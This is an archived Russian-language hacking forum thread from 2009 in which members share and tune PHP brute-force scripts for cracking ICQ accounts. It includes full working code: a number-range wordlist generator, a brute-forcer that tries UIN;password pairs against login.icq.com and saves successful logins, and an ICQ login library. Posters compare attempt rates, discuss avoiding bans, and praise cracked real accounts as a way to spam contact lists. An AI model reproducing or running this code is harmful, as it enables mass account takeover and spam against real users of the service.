Просмотр полной версии : ICQ брут
AdReNa1!Ne
20.02.2009, 20:29
Нарыл на просторах инета брут от райдера, который уже ясен пень не пашет, т.к. webicqlite уже не поддерживается.
Подключил к нему webicqpro новый, исправленный.
Брут взбесился на моем хосте - ~8000 ппс...
Выкладываю, мб укажете где накосячил))
http://slil.ru/26904946 - Бешаная версия (оставляю чтоб поржать)
http://slil.ru/26937047 - Версия стабильная, но с PPS < 1
(тоже оставляю для хз каких целей)
------------------------------------------------------------------------------
Переделал под icqlib брут.
У меня срого 2-3 ппс, бывает за 4 вылетает =)
http://slil.ru/26983989
http://slil.ru/26994925
------------------------------------------------------------------------------
Версия легкого брута от Zedi, использующая идею RICQ brute.
У меня стабильно 3.5-4 ппс
Логинится к нескольким серверам, что снижает возможность бана.
AdReNa1!Ne
20.02.2009, 21:43
Слегка переделал класс и сам брут. после тестов выложу.
вроде уже не бесится
Blackcat95
21.02.2009, 11:19
~5к ппс , прошел 1 лимон а гудов нет :D
Проверил на маленьком диапе (15 номеров) подсунул гуд номер брутенг его нашел.
AdReNa1!Ne
21.02.2009, 11:50
Ну я нашел причину почему ппс взлетает до космических величин (а жалко, что это не реальность..))
У меня ппс ~ 3000 , но чот не записивает в файл результат (чмод на файла 666)
AdReNa1!Ne
21.02.2009, 12:06
Это багнутая версия, подождите.
Результат не пишет, т.к. я закомментировал место с логгингом. А то он за минуту записывает на 20 метров. А мне такого счаться не надо было)
Я ща переписал малясь его.
"Не понос - так золотуха" - теперь ппс максимум 1...
AdReNa1!Ne
21.02.2009, 12:18
http://slil.ru/26937047
Держите. ППС - 0.7-1.
Кто поправит до стандартных 2-2.5, с меня +10 =)
Blackcat95
21.02.2009, 12:32
Ща затестю
Blackcat95
21.02.2009, 12:35
0.5 ппс :( лучшеб было 5к :D
AdReNa1!Ne
21.02.2009, 12:40
у меня стабильно 0.9
Видимо хост хороший)
у меня 1-1.2 видимо хост по круче )
Blackcat95
21.02.2009, 13:12
Выкладуйте хостенги) у мну бест-хостер
У меня vdscenter.com , но не советую , очень часто в ауте сайт
Blackcat95
21.02.2009, 13:16
А бесплатного нету? со своим доменом шобэ шел
http://www.ayola.net , но там при реге нужно смс отправить , и не знаю пойдьот ли туда етот скрипт
только что тоже брут на пыхе накатал кому нужно держите _http://slil.ru/26940836
Blackcat95
21.02.2009, 15:09
только что тоже брут на пыхе накатал кому нужно держите _http://slil.ru/26940836
http://clip2net.com/clip/m10088/1235214550-clip-10kb.png
Ссори, ща перезалью, просто 7зипом сжимал
вот, залил _http://slil.ru/26941253
все вроде бы нормально работает, вот стата
Брутфорс работает:
Время работы брута: 34136 сек.
Попыток подбора: 152405
Средний PPS: 4.46
но проблема в том что файл бад сначала рос, а после очистки 0 байт и все, а стата то меняется.. в чем же проблема? стоит на кроне.. права стоять 777...
[21-Feb-2009 23:59:35] PHP Warning: fopen(bad.txt) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: Permission denied in /home/blacksi/public_html/wwww/icqlib.php on line 263
еррор лог такой..
.'][21-Feb-2009 23:59:35] PHP Warning: fopen(bad.txt) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: Permission denied in /home/blacksi/public_html/wwww/icqlib.php on line 263
еррор лог такой..
тяжело наверн догадаться что не может открыть файл bad.txt ибо не хватает прав...ставь chmod 777
щас на все файлы в папке поставил права 777, тоже самое..
Нельзя во время работы ничего чистить, когда ты чистил файл то ты заблокировал доступ к нему, для этого и есть в пхп функции блокировки файлов. Кто нить мой брут пробовал? Отпишитесь мне интересно)
прикольная вещь.....ща буду тестить))))
вот накатал генератор листов для брута, удобно когда брут стоит на хосте, не надо большой лист заливать, подойдет для обоих брутов в этой теме
<?php
echo '<html> <head><title>Генератор</title><style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$from = $_POST['from'];
$to = $_POST['to'];
$pass = $_POST['pass'];
$file = $_POST['file'];
$f = fopen($file, "w");
for ($from; $from < $to; $from++)
{
$data = $from.";".$pass."\r\n";
fwrite($f, $data);
}
fclose($f);
echo "OK"."<br>";
} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi v.0.1</body></html><noscript>";
?>
AdReNa1!Ne
22.02.2009, 23:00
Переделал под icqlib брут.
У меня срого 2-3 ппс =)
http://slil.ru/26983989
да у меня и так 2-4 ппс, зависит от хостинга..
автор, ответь на вопрос почему у меня стата идет а бад не изменяется? (права 777 на папке и файлах всех, хостинг платный)..
AdReNa1!Ne
22.02.2009, 23:19
отредактируй индекс. Там настройка есть $notlog (по умолчанию 0, чтобы не засирать логи)
а вот мой брут
Возможности:
* Генератор
* Остановка брута
* Просмотр статистики
* Очистка списков
* Измерение скорости
<?php
error_reporting(E_ALL);
set_time_limit(0);
ignore_user_abort(1);
require_once ("icqlib.php");
$source = "source.txt";
$good = "good.txt";
$bad = "bad.txt";
$stop = "stop.txt";
echo '<html>
<head>
<title>ICQ Брут</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<style type="text/css">
a:link {color: #9a9a9a; text-decoration: none;}
a:active {color: #9a9a9a; text-decoration: none;}
a:visited {color: #9a9a9a; text-decoration: none;}
a:hover {color: #000000; text-decoration: none;}
input, textarea, select
{
background-color: #ffffff;
border:#000000 1pt solid;
color: #000000;
font-size: 9px;
margin: 0px;
padding-bottom: 1px;
padding-left: 2px;
padding-right: 0px;
padding-top: 0px;
font-family: Verdana, arial, Helvetica;
line-height: 9pt;
}
body, table
{
font-family: Verdana, arial, Helvetica;
color: #000000;
font-size: 11px;
}
</style>
</head>
<body bgcolor="#f0f0f0">';
if (isset($_GET['start']))
{
$start = putw(time(), $stop);
echo "Брут запущен<br>";
flush();
$file_s = file($source);
$count = count($file_s);
$total = $go = 0;
foreach ($file_s as $str)
{
if (file_get_contents($stop) == 'stop')
{
die("Брут остановлен<br>Разработка:Zedi v.0.2</body></html><noscript>");
}
list($uin, $password) = explode(";", $str);
$uin = trim($uin);
$password = trim($password);
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tstart = $mtime;
$debug = false;
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{
$put = put($str, $good);
} else
{
$put = put($str, $bad);
}
}
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tend = $mtime;
$total = $total + ($tend - $tstart);
}
$start = putw('', $stop);
} elseif (isset($_GET['clean']))
{
$clean = putw('', $source);
$clean = putw('', $good);
$clean = putw('', $bad);
echo "Списки очищены<br>";
} elseif (isset($_GET['stop']))
{
$clean = putw('stop', $stop);
echo "Брут остановлен<br>";
} elseif (isset($_GET['generator']))
{
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$from = $_POST['from'];
$to = $_POST['to'];
$pass = $_POST['pass'];
$file = $_POST['file'];
$f = fopen($file, "w");
for ($from; $from < $to; $from++)
{
$data = $from . ";" . $pass . "\r\n";
fwrite($f, $data);
}
fclose($f);
echo "OK" . "<br>";
} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}
} elseif (isset($_GET['good']))
{
$file_g = file($good);
$gcount = count($file_g);
echo "Всего " . $gcount . " записей<br>";
foreach ($file_g as $str)
{
echo $str . "<br>";
}
} else
{
$source_file = file($source);
$source_count = count($source_file);
$good_file = file($good);
$good_count = count($good_file);
$bad_file = file($bad);
$bad_count = count($bad_file);
$stop_file = file_get_contents($stop);
$passed = $bad_count + $good_count;
$PPS = 0;
if ($source_count != 0)
{
$percent = ($passed / $source_count) * 100;
} else
{
$percent = 0;
}
if ($percent > 100)
{
$percent = 100;
}
$percent = round($percent, 3);
if ($stop_file == 'stop')
{
$PPS = 0;
} elseif ($stop_file > 1000000000)
{
if ($passed != 0)
{
$PPS = 1 / ((time() - $stop_file) / $passed);
} else
{
$PPS = 0;
}
}
$PPS = round($PPS, 3);
echo "<table border=0>";
echo "<tr><td>Всего:" . $source_count .
"</td> <td><a href=?start>Старт</a></td></tr>";
echo "<tr><td><a href=?good>Хороших:</a>" . $good_count .
"</td> <td><a href=?stop>Стоп</a></td></tr>";
echo "<tr><td>Плохих:" . $bad_count .
"</td> <td><a href=?clean>Очистить списки</a></td></tr>";
echo "<tr><td>Выполнено:" . $percent .
"%</td> <td><a href=?generator>Генератор</a></td></tr>";
echo "<tr><td>Средняя скорость:" . $PPS . " PPS</td></tr>";
echo "</table>";
}
echo "Разработка:Zedi v.0.2</body></html><noscript>";
?>
icqlib.php
<?
class ICQclient
{
var $socket, $server, $port, $connected;
var $uin, $password, $logged;
var $client = array(), $sequence, $TLV = array();
var $uin_sendto, $message;
function ICQclient($uin, $password)
{
$this->server = "login.icq.com";
$this->port = 5190;
$this->uin = (string )$uin;
$this->password = $password;
$this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
"ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
}
function connect()
{
$this->socket = @fsockopen($this->server, $this->port);
if (!$this->socket)
return false;
else
{
$this->connected = true;
return true;
}
}
function connect_migration()
{
list($server, $port) = explode(":", $this->TLV[0x05]);
$this->socket = @fsockopen($server, $port);
}
function login()
{
if (!$this->connected)
$this->connect();
if (!$this->connected)
return false;
$this->receive_packet();
$this->sequence = rand(0x0000, 0xFFFF);
$this->send_packet("login");
$SNAC = $this->receive_packet();
$this->parse_SNAC($SNAC);
if (!(@$this->TLV[0x05] and @$this->TLV[0x06]))
return false;
$this->connect_migration();
$this->send_packet("cookie");
$this->receive_packet();
$this->send_packet("ready");
$this->receive_packet();
$this->logged = true;
return true;
}
function send_message($uin, $message)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->message = $message;
$this->send_packet("message");
$this->receive_packet();
return true;
}
function getstatus($uin)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->send_packet("userinfo");
$SNAC = $this->receive_packet();
list(, $subfamily) = unpack("C", $SNAC[3]);
if ($subfamily == 6)
{
list(, $uin_length) = unpack("C", $SNAC[10]);
$this->parse_SNAC(substr($SNAC, 15 + $uin_length));
if ($this->TLV[6])
list(, $status_code) = unpack("C", $this->TLV[6][3]);
else
$status_code = 0xFF;
switch ($status_code)
{
case 0x00:
$status = "online";
break;
case 0x01:
$status = "away";
break;
case 0x02:
$status = "dnd";
break;
case 0x03:
$status = "dnd";
break;
case 0x04:
$status = "na";
break;
case 0x05:
$status = "na";
break;
case 0x10:
$status = "occupied";
break;
case 0x11:
$status = "occupied";
break;
case 0x13:
$status = "dnd";
break;
case 0x20:
$status = "free4chat";
break;
default:
$status = "undefined";
break;
}
} else
$status = "offline";
return $status;
}
function disconnect()
{
$this->connected = $this->logged = false;
return @fclose($this->socket);
}
function log_packet($packet, $type = "packet")
{
global $debug_log;
$debug_log .= "<p>$type:<br>";
for ($i = 0; $i < strlen($packet); $i++)
{
if (strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
$debug_log .= "0";
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
}
$debug_log .= "</p>";
}
function send_packet($type)
{
global $debug;
list($channel, $SNAC) = $this->gen_SNAC($type);
$FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "send");
@fwrite($this->socket, $packet);
$this->sequence++;
if ($this->sequence == 0xFFFF)
$this->sequence = 0x0000;
}
function receive_packet()
{
global $debug;
$FLAP = @fread($this->socket, 6);
list(, $length) = @unpack("n", substr($FLAP, 4, 2));
$SNAC = @fread($this->socket, $length);
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "receive");
return $SNAC;
}
function gen_SNAC($type)
{
if ($type == "login")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
client["country"]);
$channel = 1;
}
if ($type == "cookie")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
$channel = 1;
}
if ($type == "ready")
{ // SNAC(01,02) - CLI_READY
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x 00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x 00\x01\x01\x10" .
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x 00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x 00\x01\x01\x10" .
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
$channel = 2;
}
if ($type == "message")
{ // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
$this->TLV[0x0501] = pack("C", 1);
$this->TLV[0x0101] = pack("N", 0) . $this->message;
$this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
$this->TLV[0x0101]);
$SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
gen_TLV(0x06, "");
$channel = 2;
}
if ($type == "userinfo")
{ // SNAC(02,05) - CLI_LOCATION_INFO_REQ
$SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
uin_sendto);
$channel = 2;
}
return array($channel, $SNAC);
}
function parse_SNAC($SNAC)
{
unset($this->TLV);
while (strlen($SNAC) > 0)
{
list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
$this->TLV[$type] = substr($SNAC, 4, $length);
$SNAC = substr($SNAC, 4 + $length);
}
}
function gen_TLV($type, $value, $length = false)
{
switch ($length)
{
case 1:
$format = "C";
break; // unsigned char (8 bit)
case 2:
$format = "n";
break; // unsigned short (16 bit, big endian byte order)
case 4:
$format = "N";
break; // unsigned long (32 bit, big endian byte order)
default:
$format = "a*";
break; // NUL-padded string
}
if ($length === false)
$length = strlen($value);
return pack("nn" . $format, $type, $length, $value);
}
}
function xor_encrypt($password)
{
$roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x 53\x7a\x95\x7c";
$xored = "";
for ($i = 0; $i < strlen($password); $i++)
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
return $xored;
}
function put($data, $file)
{
global $go;
$f = fopen($file, "a") or die("File " . $file . " doesn't exist");
fwrite($f, $data);
fclose($f);
$go++;
}
function putw($data, $file)
{
$f = fopen($file, "w");
fwrite($f, $data);
fclose($f);
}
?>
и создайте файлы source.txt good.txt bad.txt и stop.txt
или скачать отсюда _http://slil.ru/26984165
у мя на нете с мобилы (около 70кбит/c) скорость 4-6 ППС
выслушаю ваши предложения по бруту
P.S. Адреналин,удали из своего брута функцию put(), это я ее добавил(вероятно ты взял библиотеку из моего брута)
AdReNa1!Ne
22.02.2009, 23:55
да, из твоего.
Мне очень влом перезаливать, в след. релизе сделаю...=\
А вообще спросил бы хотя бы разрешения выкладывать в моей теме, посвященной именно RICQ бруту, выкладывать свои скрипты... хотя мне все равно, но все же...
Библиотека не твоя, а из kanicq.ru. Копирайты нехорошо стирать.
http://kanicq.ru/invisible/icqlib.rar
А еще, почему я обратил свое внимание на RICQ брут - что там брутятся не определенные нумы, а нумы реальных людей, с реальными контакт-листами. Это оч полезно для спама по КЛ.
я не говорил что библа моя, я просто про функцию сказал, вот обоновленная версия моего брута http://slil.ru/26984265
я не говорил что библа моя, я просто про функцию сказал, вот обоновленная версия моего брута http://slil.ru/26984265
скорость просто летит, 12-14 ппс! и с учером что это безпроксивой брут!.. жжесть..
AdReNa1!Ne
24.02.2009, 20:46
http://slil.ru/26994925
Версия легкого брута от Zedi, использующая идею RICQ brute.
У меня стабильно 3.5-4 ппс
Логинится к нескольким серверам, что снижает возможность бана.
P.S. А на самом деле я вру. 5.5-5.8 ппс у меня ща выжимается ^_^
P.P.S. Ща 6.8-7.1 ппс.
А на каких хостах кто пользуется то
а какой из всех выложенных в теме, "лучше всех"?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot